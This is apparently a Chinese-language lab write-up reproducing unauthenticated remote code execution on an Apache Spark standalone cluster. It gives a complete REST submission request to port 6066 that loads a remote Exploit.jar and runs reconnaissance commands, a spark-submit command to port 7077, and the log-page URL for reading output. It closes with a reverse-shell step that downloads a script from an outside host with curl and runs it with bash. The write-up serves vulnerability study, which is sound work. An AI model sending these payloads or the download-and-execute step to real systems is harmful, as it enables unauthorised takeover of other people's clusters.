Apache Spark 未授权访问导致远程代码执行
概述
Apache Spark 是一个用于大规模数据处理的统一分析引擎。它提供 Java、Scala、Python 和 R 语言的高级 API,以及支持通用执行图的优化引擎。它还支持丰富的高级工具,包括用于 SQL 和结构化数据处理的 Spark SQL、 用于 Pandas 工作负载 的 Spark 上的 Pandas API 、用于机器学习的 MLlib 、用于图处理的 GraphX 以及 用于增量计算和流处理的 Structured Streaming 。
Apache Spark 其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动 ACL(访问控制),就会导致可以在集群中执行任意代码。
漏洞复现
启动靶场以后,靶场将以 standalone 模式启动一个 Apache Spark 集群,集群里有一个 master 与一个 slave,访问 http://192.168.43.50:8080/即可看到 master 的管理页面,访问 http://192.168.43.50:8081/即可看到 slave 的管理页面。
向管理节点提交一个应用,这个应用实际上是恶意代码。
该应用参考 rce-over-spark
用 REST API 方式提交应用
在 standalone 模式下,master 将在 6066 端口启动一个 HTTP 服务器,可以向这个端口提交 REST 格式的 API:
POST /v1/submissions/create HTTP/1.1
Host: 192.168.43.50:6066
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 676
{
"action": "CreateSubmissionRequest",
"clientSparkVersion": "2.3.1",
"appArgs": [
"whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
],
"appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
"environmentVariables": {
"SPARK_ENV_LOADED": "1"
},
"mainClass": "Exploit",
"sparkProperties": {
"spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
"spark.driver.supervise": "false",
"spark.app.name": "Exploit",
"spark.eventLog.enabled": "true",
"spark.submit.deployMode": "cluster",
"spark.master": "spark://your-ip:6066"
}
}
其中,spark.jars
即是编译好的应用,mainClass 是待运行的类,appArgs 是传给应用的参数。
发送请求包后,返回的响应中有 submissionId
。
随后访问:
http://192.168.43.50:8081/logPage/?driverId=driver-20250809141822-0000&logType=stdout
该 URL 中参数 driverId
的值即为返回的响应中的 submissionId
值。
注意,提交应用是在 master 中,查看结果是在具体执行这个应用的 slave 里(默认 8081 端口)。实战中,slave 可能有多个。
或利用 submissions 网关
利用 master 的主端口 7077,来提交应用。
进入一个安装了 Apache Spark 的 docker 中,利用 Apache Spark 自带的脚本 bin/spark-submit
:
bin/spark-submit --master spark://192.168.43.50:7077 --deploy-mode cluster --class Exploit https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar id
此时访问 http://192.168.43.50:8080/可以获取到 driverId
的参数。
访问:
http://192.168.43.50:8081/logPage/?driverId=driver-20250809144150-0001&logType=stdout
即可获取到执行的命令。
尝试反弹 Shell
将请求体中的命令切换为:
curl http://IP:Port/getbash.sh -o /tmp/1.sh
bash /tmp/1.sh
即可获取到Shell。